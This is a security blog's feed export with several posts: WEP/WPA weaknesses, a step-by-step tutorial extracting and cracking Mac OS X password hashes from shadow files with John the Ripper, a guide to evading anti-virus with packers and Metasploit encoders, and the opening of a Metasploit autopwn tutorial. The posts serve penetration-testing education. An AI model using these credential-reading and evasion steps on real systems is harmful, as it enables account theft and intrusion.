&lt;li&gt;weak message integrity checking,&lt;/li&gt;
&lt;li&gt;no key rotation mechanism,&lt;/li&gt;
&lt;li&gt;short initialization vector (IV),&lt;/li&gt;
&lt;li&gt;pseudo-random generation algorithm (PRGA) revealed in challenge/response, and&lt;/li&gt;
&lt;li&gt;key was reversible from cipher-text.&lt;/li&gt;
&lt;/ul&gt;
By 2007, attacking WEP had become so effective that the cracking probability of a 104-bit WEP key was:&lt;br /&gt;
&lt;ul&gt;   &lt;ul&gt;
&lt;li&gt;50% success after 60 seconds&lt;/li&gt;
&lt;li&gt;80% success after 90 seconds&lt;/li&gt;
&lt;li&gt;95% success after 128 seconds&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;em&gt;Source:&lt;/em&gt; &lt;a href=&quot;http://eprint.iacr.org/2007/120.pdf&quot;&gt;Tews, E, Weinmann, R, Pyshkin A 2007, Breaking 104 bit WEP in less than 60 seconds&lt;/a&gt; &lt;br /&gt;
To combat the deficiencies of the WEP protocol, the &lt;a href=&quot;http://en.wikipedia.org/wiki/Ieee&quot;&gt;Institute of Electrical and Electronics Engineers&lt;/a&gt; (IEEE) decided to come up with a new, more secure protocol: WPA. Designed specifically to work within the design constraints of existing WEP hardware, WPA could be adopted with a firmware upgrade to existing WEP-enabled infrastructure. &lt;br /&gt;
WPA was able to improve security over its WEP counterpart by implementing the &lt;a href=&quot;http://en.wikipedia.org/wiki/Temporal_Key_Integrity_Protocol&quot;&gt;Temporal Key Integrity Protocol&lt;/a&gt; (TKIP). Based on the RC4 cryptographic cipher (like WEP), The TKIP algorithm was designed to overcome the security deficiencies discovered in WEP by:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;defeating key reuse attacks,&lt;/li&gt;
&lt;li&gt;defeating forgery attempts, and&lt;/li&gt;
&lt;li&gt;defeating replay attacks.&lt;/li&gt;
&lt;/ul&gt;
Whilst these mechanisms would provide consumers with a secure alternative to the broken WEP protocol, the IEEE only intended WPA to have a 5-year life span (1999-2004). This life span would provide organisations with a transitional period for the arrival of WPA&#39;s new companion, WPA2.&lt;br /&gt;
Requiring a hardware upgrade from old WEP/WPA technologies, WPA2 was based on the &lt;a href=&quot;http://en.wikipedia.org/wiki/802.11i&quot;&gt;802.11i&lt;/a&gt; security specification (which was not yet ratified at the time WPA was introduced). Designed on a completely new encryption protocol, WPA2 implemented a new algorithm known as &lt;a href=&quot;http://en.wikipedia.org/wiki/CCMP&quot;&gt;Counter Mode with Cipher Block Chaining Message Authentication Protocol&lt;/a&gt; (CCMP). CCMP offered several enhancements to the TKIP standard, including the use of the AES cryptographic cipher (as opposed to RC4 used in WEP/WPA). WPA2 was also given the ability to utilise the TKIP encryption protocol for backward compatibility.&lt;br /&gt;
&lt;em&gt;Note: Vendors will often (incorrectly) refer to WPA2 as WPA2-AES. This would be fine if WPA was referred to as WPA-RC4. For the sake of consistency, I will refer to WPA2 as WPA2-CCMP throughout the remainder of this series.&lt;/em&gt;&lt;br /&gt;
Apart from brute-force attempts on weak passwords, both WPA-TKIP and WPA2-CCMP have been considered ‘secure’ up until recently. In November 2008 Erik Tews and Martin Beck, researchers at two German University, published a &lt;a href=&quot;http://dl.aircrack-ng.org/breakingwepandwpa.pdf&quot;&gt;paper&lt;/a&gt; that highlighted a weakness in the TKIP algorithm. Their paper demonstrated how plain-text could be recovered from an encrypted WPA network and injected back into that network. Tews and Beck’s attack method was later enhanced by two Japanese researches whose &lt;a href=&quot;http://jwis2009.nsysu.edu.tw/location/paper/A%20Practical%20Message%20Falsification%20Attack%20on%20WPA.pdf&quot;&gt;research&lt;/a&gt; caused wide-spread &lt;a href=&quot;http://tech.yahoo.com/blogs/null/147906&quot;&gt;panic among information technology (IT) journalists&lt;/a&gt;.&lt;br /&gt;
In Part 2 of this series we will take a deeper look at how the TKIP protocol works, how TKIP can be attacked, and look at answering the two pertinent questions: “Is WPA secure?” and “Should I be using WPA?”.</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/5534511726803167704/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2010/02/is-wpa-secure-part-1.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/5534511726803167704'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/5534511726803167704'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2010/02/is-wpa-secure-part-1.html' title='Is WPA Secure?  - Part 1'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-6430698429448134429</id><published>2009-12-28T08:04:00.001-08:00</published><updated>2020-01-05T06:57:47.941-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="crack"/><category scheme="http://www.blogger.com/atom/ns#" term="cracking"/><category scheme="http://www.blogger.com/atom/ns#" term="hash"/><category scheme="http://www.blogger.com/atom/ns#" term="john"/><category scheme="http://www.blogger.com/atom/ns#" term="leopard"/><category scheme="http://www.blogger.com/atom/ns#" term="mac"/><category scheme="http://www.blogger.com/atom/ns#" term="macintosh"/><category scheme="http://www.blogger.com/atom/ns#" term="osx"/><category scheme="http://www.blogger.com/atom/ns#" term="password"/><category scheme="http://www.blogger.com/atom/ns#" term="penetrationtesting"/><category scheme="http://www.blogger.com/atom/ns#" term="pentest"/><title type='text'>Cracking Mac OS X Passwords</title><content type='html'>In this post I will demonstrate how to both extract and crack Mac OS X passwords. The OS X variants that this tutorial is aimed at are 10.4 (Tiger), 10.5 (Leopard) and 10.6 (Snow Leopard).&lt;br /&gt;
Whilst Mac OS X is based on a Unix variant (BSD), there are several key differences between traditional Unix-based and Mac OS systems when it comes to password storage. Lets take a quick look at some of the differences.&lt;br /&gt;
If you have ever poked around on an OS X system, you may have noticed the absence of the /etc/shadow file. Whilst traditional Unix and BSD variants store their password hashes in /etc/shadow and /etc/master.passwd respectively, Mac OS X does not. Since the release of OS X 10.3 in 2003, Macintosh products have stored their shadow files in the /var/db/shadow/hash/ directory.&lt;br /&gt;
Another key difference is the way in which the two systems store their hashes. On a Unix-based system, every hash associated with the system is stored in the /etc/shadow file. This differs from OS X whereby each user has their own individual &lt;a href=&quot;http://en.wikipedia.org/wiki/Shadow_password&quot;&gt;shadow file&lt;/a&gt; stored in the /var/db/shadow/hash/ directory. Each file is labeled by the user’s &lt;a href=&quot;http://en.wikipedia.org/wiki/Guid&quot;&gt;Globally Unique Identifier&lt;/a&gt; (GUID). N.B. A GUID is analogous to a Security Identifier (SID) on Windows-based systems.&lt;br /&gt;
Lastly, most Unix variants will use multiple rounds of the MD5 or DES cryptographic hash functions in order to encrypt system passwords. OS X systems encrypt passwords with the SHA1 hash function, coupled with a 4 byte salt.&lt;br /&gt;
In sum, OS X password storage has the following characteristics:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Password hashes are stored in the /var/db/shadow/hash/&amp;lt;GUID&amp;gt; file &lt;/li&gt;
&lt;li&gt;Each user has their own shadow file &lt;/li&gt;
&lt;li&gt;Local OS X passwords are stored as SHA1 hashes &lt;/li&gt;
&lt;/ul&gt;
&lt;strong&gt;STEP 1. OBTAINING THE GUID&lt;/strong&gt;&lt;br /&gt;
So, the first thing we want to do in this exercise is find out what our GUID is. We do this by invoking the &lt;a href=&quot;http://developer.apple.com/mac/library/DOCUMENTATION/Darwin/Reference/ManPages/man1/dscl.1.html&quot;&gt;Directory Service command line (dscl) utility&lt;/a&gt;. Implemented in OS X 10.5 to replace the deprecated NetInfo &lt;a href=&quot;http://en.wikipedia.org/wiki/Directory_service&quot;&gt;directory service&lt;/a&gt;, dscl uses the &lt;a href=&quot;http://en.wikipedia.org/wiki/Apple_Open_Directory&quot;&gt;Open Directory Framework&lt;/a&gt; to store, organise and access directory information. For our purposes, the directory service holds information specific to each user on the system.&lt;br /&gt;
The command we use to extract our GUID is as follows:&lt;br /&gt;
&lt;em&gt;Note: Replace &amp;lt;username&amp;gt; with the username of the user you wish to extract.&lt;/em&gt;&lt;br /&gt;
10.4 (Tiger)&lt;br /&gt;
&lt;blockquote&gt;
# niutil -readprop . /users/&amp;lt;username&amp;gt; generateduid&lt;/blockquote&gt;
10.5 (Leapord) and 10.6 (Snow Leapord)&lt;br /&gt;
&lt;blockquote&gt;
# dscl localhost -read /Search/Users/&amp;lt;username&amp;gt; | grep GeneratedUID | cut -c15-&lt;/blockquote&gt;
This should return a value which appears in the following format: A66BCB30-2413-422A-A574-DE03108F8AF2&lt;br /&gt;
&lt;strong&gt;STEP 2. EXTRACTING THE HASHES&lt;/strong&gt;&lt;br /&gt;
Next, we want to extract the SHA1 hash from the shadow file. For this, we do the following:&lt;br /&gt;
&lt;blockquote&gt;
# cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 | cut -c169-216&lt;br /&gt;
&lt;em&gt;Note: Replace the above GUID with the one you have extracted from the previous step.&lt;/em&gt;&lt;/blockquote&gt;
You should have been returned with a SHA1 hash that looks similar to the following: 33BA7C74C318F5D3EF40EB25E1C42F312ACF905E20540226&lt;br /&gt;
At this point it should be noted that OS X has the ability to store Window NT and LANMAN hash representations. This will only occur if SMB/CIFS file sharing has been turned on. To extract these passwords from the shadow file, type the following:&lt;br /&gt;
&lt;blockquote&gt;
NT:&lt;br /&gt;
cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 |cut -c1-32&lt;br /&gt;
LANMAN:&lt;br /&gt;
cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 |cut -c33-64&lt;/blockquote&gt;
&lt;strong&gt;STEP 3. CRACKING THE PASSWORD&lt;/strong&gt;&lt;br /&gt;
At this point we are ready to crack the OS X passwords. To simplify this step, I have written a simple python script that can be &lt;a href=&quot;http://pastebin.com/Gv6VxEZ7&quot;&gt;downloaded here&lt;/a&gt;. To use this script, simply copy and paste the contents into a file (osx_crack.py) and type:&lt;br /&gt;
&lt;blockquote&gt;
#python osx_crack.py bob&lt;/blockquote&gt;
Note: &#39;bob&#39; is the username whose password we want to crack.&lt;br /&gt;
This method is nice if you are only interesting in cracking passwords from a local system. If, however, you have captured a hash from a remote system, or would prefer a more familiar password cracking utility, then &lt;a href=&quot;http://www.openwall.com/john/&quot;&gt;John The Ripper&lt;/a&gt; can also be used  for this step. In order for John to work, John will need to be patched with the &#39;Jumbo Patch&#39; - allowing SHA1 passwords (referred to as XSHA in John) to be cracked. The patch can be downloaded from the following locations:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.openwall.com/john/contrib/john-1.7.3.1-all-6-win32-1.zip&quot;&gt;Windows&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.openwall.com/john/contrib/john-1.7.3.1-all-6-macosx-universal-1.zip&quot;&gt;Mac OS X&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.jedge.com/wordpress/?p=233&quot;&gt;Unix – Tutorial on how to patch&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;
Once we have download/patched John, the extracted hash and username should be placed in a text file. For this example I have added the username ‘bob’ and bob’s hash (that I obtained in STEP 2) into a file called sha1.txt. The file has the following format:&lt;br /&gt;
bob:33BA7C74C318F5D3EF40EB25E1C42F312ACF905E20540226&lt;br /&gt;
We can then use John the crack the password:&lt;br /&gt;
&lt;blockquote&gt;
# ./john sha1.txt&lt;/blockquote&gt;
If John is successful in recognising the hash, the following message will be displayed:&lt;br /&gt;”Loaded 1 password hash (Mac OS X 10.4+ salted SHA1 [32/64])”&lt;br /&gt;
A successful cracking attempt will appear as follows:&lt;br /&gt;
password           (bob)&lt;br /&gt;guesses: 1  time: 0:00:00:00 100% (2)  c/s: 153000  trying: password&lt;br /&gt;
&lt;strong&gt;Additional Resources&lt;/strong&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.skullsecurity.org/wiki/index.php/Mac_OS_X_Commands&quot;&gt;Skull Security OS X Commands&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.macshadows.com/kb/index.php?title=Mac_OS_X_password_hashes&quot;&gt;MacShadows’ OS X Password Hashes&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dribin.org/dave/blog/archives/2006/04/28/os_x_passwords_2/&quot;&gt;How Mac OS X Implements Password Authentication&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;
</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/6430698429448134429/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2009/12/cracking-os-x-passwords.html#comment-form' title='32 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/6430698429448134429'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/6430698429448134429'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2009/12/cracking-os-x-passwords.html' title='Cracking Mac OS X Passwords'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>32</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-7979300283642173810</id><published>2009-12-13T00:18:00.001-08:00</published><updated>2020-01-05T06:57:33.231-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="antivirus"/><category scheme="http://www.blogger.com/atom/ns#" term="av"/><category scheme="http://www.blogger.com/atom/ns#" term="avoidance"/><category scheme="http://www.blogger.com/atom/ns#" term="bypass"/><category scheme="http://www.blogger.com/atom/ns#" term="code"/><category scheme="http://www.blogger.com/atom/ns#" term="metasploit"/><category scheme="http://www.blogger.com/atom/ns#" term="msfencode"/><category scheme="http://www.blogger.com/atom/ns#" term="msfpayload"/><category scheme="http://www.blogger.com/atom/ns#" term="obfuscate"/><category scheme="http://www.blogger.com/atom/ns#" term="obfuscation"/><category scheme="http://www.blogger.com/atom/ns#" term="packing"/><category scheme="http://www.blogger.com/atom/ns#" term="scambling"/><category scheme="http://www.blogger.com/atom/ns#" term="scramble"/><category scheme="http://www.blogger.com/atom/ns#" term="upx"/><title type='text'>Bypassing Anti-virus</title><content type='html'>Whether compromising a system for legitimate or non-legitimate purposes, bypassing anti-virus software is often an integral step in any intrusion exercise. Fortunately for enterprise, anti-virus and anti-malware software is now commonplace in most organisiations.&lt;br /&gt;
&lt;br /&gt;
Whilst many of the tools that attackers wish to implement are constantly being blacklisted, this isn&#39;t without reservation. Attackers are still getting malware into systems and penetration testers are still able to compromise systems. So the question is, how is this possible? The answer: Bypassing anti-virus, of course.&lt;br /&gt;
&lt;br /&gt;
In this post I intent to present several tools that can be used in bypassing anti-virus/anti-malware software. I will provide a brief background on each tools operation and a summary of its use. But first, some background.&lt;br /&gt;
&lt;br /&gt;
Anti-virus software typically works by using either signature-based detection or heuristic-based detection (some products use both).&lt;br /&gt;
&lt;br /&gt;
Signature-based detection products rely on receiving updates from the anti-virus vendor. Anti-virus vendors such as McAfee, Symantec, Sophos etc. work 24 hours a day 7 days a week to continually update their databases with newly discovered malware. Every time a new piece of malware is identified, a &#39;fingerprint&#39;, or &#39;signature&#39; of the malware is made. These uniquely identifiable signatures are periodically downloaded by anti-virus clients and are used to identify malicious files. Software that the vendor has identified as malicious is able to be caught by the anti-virus software because an infected file&#39;s &#39;signature&#39; (or fingerprint) matches that of the signature downloaded from the vendor. Signature-based detection can be seen as analogous with making a comparison. ie We compare the infected file&#39;s signature with the signatures I have in my database. Do the signatures match? If they do, we know the program is malicious and it goes into quarantine. If not, the program is safe and we can let the program run.&lt;br /&gt;
&lt;br /&gt;
Heuristic-based detection is somewhat different. In the mathematics and computer science disciplines, the term heuristic can be simply described as a &#39;best guess&#39;. Instead of making a signature comparison, heuristic-based detection looks at what the software is actually doing, as opposed to what it looks like. Based on behavior, heuristic-based products quarantine software that is acting suspiciously. So if a program is misbehaving by trying to elevate its privileges on a system, there is a possibility it may be flagged for quarantine. Heuristics-based detection is often prone to false positives, and as such, is not as common as it&#39;s signature-based counterpart.&lt;br /&gt;
&lt;br /&gt;
Now lets talk about their shortcomings of signature-based detection.&lt;br /&gt;
&lt;br /&gt;
Signature-based detection is overcome by something known as obfuscation. Code obfuscation is the process of changing the appearance of a program&#39;s source code. This can be done in many different ways, including: substituting for loops for while loops; eradicating loops with recursion; compression techniques; renaming variables; altering strings; and so on.&lt;br /&gt;
&lt;br /&gt;
So now if we think back to how signature-based detection works, we can quickly see that it is near impossible for an anti-virus vendor to blacklist all the possible combinations of how a program can appear. And here in lies the dilemma. Anti-virus vendors can indeed continue to blacklist known malware, but this falls short reasonable quickly when programs can be obfuscated in a myriad of different ways.&lt;br /&gt;
&lt;br /&gt;
Whilst there a many ways one can obfuscate a program&#39;s code, I am only going to discuss three here. These are three of the most common and simple tools for achieving anti-virus avoidance.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-style: italic;&quot;&gt;&lt;u&gt;UPX Packer&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
Packing is a simple way to disguise executables. By adding a decompression header to the front of a the packed executable, the executable is able to be read and inflated in memory by the operating system.&lt;br /&gt;
&lt;a href=&quot;http://upx.sourceforge.net/&quot;&gt;&lt;br /&gt;The Ultimate Packer for eXecutables (UPX)&lt;/a&gt; is a free, open source, portable packer written by &lt;a href=&quot;http://www.oberhumer.com/&quot;&gt;Markus F.X.J.             Oberhumer&lt;/a&gt;, &lt;a href=&quot;mailto:ml1050@users.sourceforge.net&quot;&gt;László             Molnár&lt;/a&gt; and &lt;a href=&quot;http://www.bitwagon.com/&quot;&gt;John F. Reiser&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Usage:&lt;br /&gt;
&lt;blockquote&gt;
upx [-123456789dlthVL] [-qvfk] [-o file] file...&lt;br /&gt;
&lt;br /&gt;
Commands:&lt;br /&gt;
-1     compress faster                   -9    compress better&lt;br /&gt;
-d     decompress                        -l    list compressed file&lt;br /&gt;
-t     test compressed file              -V    display version number&lt;br /&gt;
-h     give more help                    -L    display software license&lt;br /&gt;
Options:&lt;br /&gt;
-q     be quiet                          -v    be verbose&lt;br /&gt;
-oFILE write output to &#39;FILE&#39;&lt;br /&gt;
-f     force compression of suspicious files&lt;br /&gt;
-k     keep backup files&lt;br /&gt;
file..   executables to (de)compress&lt;/blockquote&gt;
&lt;span style=&quot;font-style: italic;&quot;&gt;&lt;u&gt;PE-Scrambler&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.rnicrosoft.net/tools/PEScrambler_v0_1.zip&quot;&gt;PE-Scrambler&lt;/a&gt; is a simple utility written by &lt;a href=&quot;http://www.blogger.com/www.rnicrosoft.net&quot;&gt;Nick Harbour&lt;/a&gt; that scrambles and obfuscates binaries at the machine code instruction level. Altering the Opcodes at the lowest level, this utility is a highly effective obfuscator.&lt;br /&gt;
&lt;br /&gt;
Usage:&lt;br /&gt;
&lt;blockquote&gt;
&amp;gt; pescrambler.exe -i [inputfile.exe]&lt;input .exe=&quot;&quot; /&gt; -o [outputfile.exe]&lt;output .exe=&quot;&quot;&gt;&lt;br /&gt;&lt;/output&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Resources:&lt;br /&gt;
&lt;a href=&quot;http://media.libsyn.com/media/pauldotcom/pauldotcom-sw-episode166.mp3&quot;&gt;Interview with the author&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.rnicrosoft.net/presentations/AdvancedSoftwareArmoringAndPolymorphicKungFu.zip&quot;&gt;Author&#39;s presentation on the tool&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-style: italic;&quot;&gt;&lt;u&gt;msfencode/msfpayload&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
These two tools come standard with the Metasploit Framework. Whilst in previous versions of Metasploit it required a bit of a hack to obfuscate Metasploit payloads, the latest release (3.3) makes the process trivial. I would like to point you to Adrian Crenshaw&#39;s &lt;a href=&quot;http://www.irongeek.com/i.php?page=videos%2Fmsfpayload-msfencoder-metasploit-3-3&quot;&gt;posting&lt;/a&gt; on &lt;a href=&quot;http://www.blogger.com/www.irongeek.com&quot;&gt;IronGeek&lt;/a&gt; for this one. He has recently posted a very nice video tutorial on the process.&lt;br /&gt;
&lt;br /&gt;
So, what was the point of me telling you all this? Was it to tell you that anti-virus software is dead and you should just uninstall it completely from your network? Hardly.&lt;br /&gt;
&lt;br /&gt;
My intentions here were to inform people that anti-virus, like all security controls, has its weaknesses. Anti-virus should no longer be looked at as the be all and end all of end-point system protection. It should be, like every other control, one of multiple mechanisms within a multi-tiered security architecture.&lt;br /&gt;
&lt;br /&gt;
Here are some additional controls that can compliment anti-virus software:&lt;br /&gt;
&lt;br /&gt;
Host-based intrusion prevention/detection systems&lt;br /&gt;
&lt;a href=&quot;http://technet.microsoft.com/en-us/library/cc786480%28WS.10%29.aspx&quot;&gt;Host-based firewall logging (Win)&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.netfilter.org/documentation/index.html&quot;&gt;Host-based firewalling (Unix)&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.chrisbrenton.org/2009/07/dealing-with-malware-on-windows-part-1-why-anti-virus-is-a-dieing-technology/&quot;&gt;Application white-listing&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Additional Resources:&lt;br /&gt;
&lt;a href=&quot;http://www.chrisbrenton.org/2009/08/why-anti-virus-is-dead-and-how-to-fix-it-live/&quot;&gt;Chris Brenton&#39;s talk on why AV is dead&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/7979300283642173810/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2009/12/bypassing-anti-virus.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/7979300283642173810'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/7979300283642173810'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2009/12/bypassing-anti-virus.html' title='Bypassing Anti-virus'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-4031059323626195318</id><published>2009-11-16T14:22:00.000-08:00</published><updated>2011-05-29T16:58:19.411-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="alternative"/><category scheme="http://www.blogger.com/atom/ns#" term="archive"/><category scheme="http://www.blogger.com/atom/ns#" term="code"/><category scheme="http://www.blogger.com/atom/ns#" term="exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="exploitation"/><category scheme="http://www.blogger.com/atom/ns#" term="milw0rm"/><category scheme="http://www.blogger.com/atom/ns#" term="milworm"/><category scheme="http://www.blogger.com/atom/ns#" term="respitory"/><title type='text'>Milw0rm Alternative is Here!</title><content type='html'>Offensive-Security has announced its new exploit archive:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.exploit-db.com/&quot;&gt;Offensive Security Exploit Database&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/4031059323626195318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2009/11/milw0rm-alternative-is-here.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/4031059323626195318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/4031059323626195318'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2009/11/milw0rm-alternative-is-here.html' title='Milw0rm Alternative is Here!'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-7424675817767610978</id><published>2009-11-11T16:04:00.000-08:00</published><updated>2009-12-13T01:05:55.194-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="autopwn"/><category scheme="http://www.blogger.com/atom/ns#" term="exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="exploitation"/><category scheme="http://www.blogger.com/atom/ns#" term="framework"/><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="metasploit"/><category scheme="http://www.blogger.com/atom/ns#" term="nessus"/><category scheme="http://www.blogger.com/atom/ns#" term="pentest"/><title type='text'>Metasploit Autopwn: Hacking made simple</title><content type='html'>Nowadays, exploiting a system requires little, if no knowledge of computer systems or networking. Merely, someone with 10 minutes on their hands that is interested enough to Google how it’s done.&lt;br /&gt;&lt;br /&gt;One with very little skills has the ability to fire up Metasploit, load an exploit, and fire it at the target system – giving attacker’s the ability to compromise a system within minutes.&lt;br /&gt;&lt;br /&gt;I thought I would write a post on Metasploit’s autopwn module to reiterate just how simple it is to attack/compromise a system in today’s environment. My intentions here are to give you a tutorial on the Metasploit autopwn module and provide a timely reminder on just how important it is to have a good patch policy in place. I would also recommend regular audits on system services.&lt;br /&gt;&lt;br /&gt;The tools I will be using in this tutorial are:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.nessus.org/download/&quot;&gt;Nessus&lt;/a&gt; - A free vulnerability scanner for Mac OS, Windows and Linux&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.metasploit.com/&quot;&gt;Metasploit&lt;/a&gt; – framework 3 - A free exploit framework for launching exploits against targets&lt;/li&gt;&lt;li&gt;A virtual machine running an unpatched version of Windows XP SP2 as my target system&lt;/li&gt;&lt;/ul&gt;1. First we’ll fire up Nessus and run a scan on our network.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVpYgCVjLIXnBAKZGSbErP5po4BObT_dfh3thrpRYk_t2fJEqeExhsxavQC-kzKk3aNHRvlfCoZdiZYB2yN1EU88nJjqRfdb46wsirGiItJ9unna8zBqGVKpoCJjJ855DxlaGJwojCQsk/s1600-h/nessus1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVpYgCVjLIXnBAKZGSbErP5po4BObT_dfh3thrpRYk_t2fJEqeExhsxavQC-kzKk3aNHRvlfCoZdiZYB2yN1EU88nJjqRfdb46wsirGiItJ9unna8zBqGVKpoCJjJ855DxlaGJwojCQsk/s320/nessus1.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;As we can see, Nessus has picked up several ‘High’ risk vulnerabilities on the target system (indicated by the red highlighting).&lt;br /&gt;&lt;br /&gt;2. We will now export our Nessus scan results. In order to use these results in Metasploit’s autopwn module, we will need to save the results in the Nessus .nbe format.&lt;br /&gt;&lt;br /&gt;First click the ‘Export…” button In the ‘Report’ tab. Second, select the ‘Save as…’ option and choose ‘NBE (*.nbe)’. Now save the file.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-vyr1DjIAdWGWT5c8DxDs_yH8nmxUG5Pusq-6beHhKy4yCLS_WgiqfyneegBEDH1VDDMYNIvl-fCUq8WmEy4OrlyPm4PfwyHRNCaTrYZTsOIkO-QMMmbsJb70NdV3rNbpkkK8TUvh18k/s1600-h/nessus2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-vyr1DjIAdWGWT5c8DxDs_yH8nmxUG5Pusq-6beHhKy4yCLS_WgiqfyneegBEDH1VDDMYNIvl-fCUq8WmEy4OrlyPm4PfwyHRNCaTrYZTsOIkO-QMMmbsJb70NdV3rNbpkkK8TUvh18k/s320/nessus2.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;3. Now we want to import our Nessus output into Metasploit. Browse to your Metasploit main directory (On Backtrack 4 it will be /pentest/exploits/framework3) and fire up Metasploit.&lt;br /&gt;&lt;blockquote&gt;# ./msfconsole&lt;br /&gt;&lt;/blockquote&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi1S9WsLktsZFSGqyfY-iySpnGDTjUNpxjazERu_219ayX2lBqXyJRugb5YmLX0nUbhdJlT8zkBYKoBhczUVP3noFTC-T_kH8wWiRIzNLCB94h0xNxzzUxO92wCtSGPs7XMLA_rTwUmAw/s1600-h/ms2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; 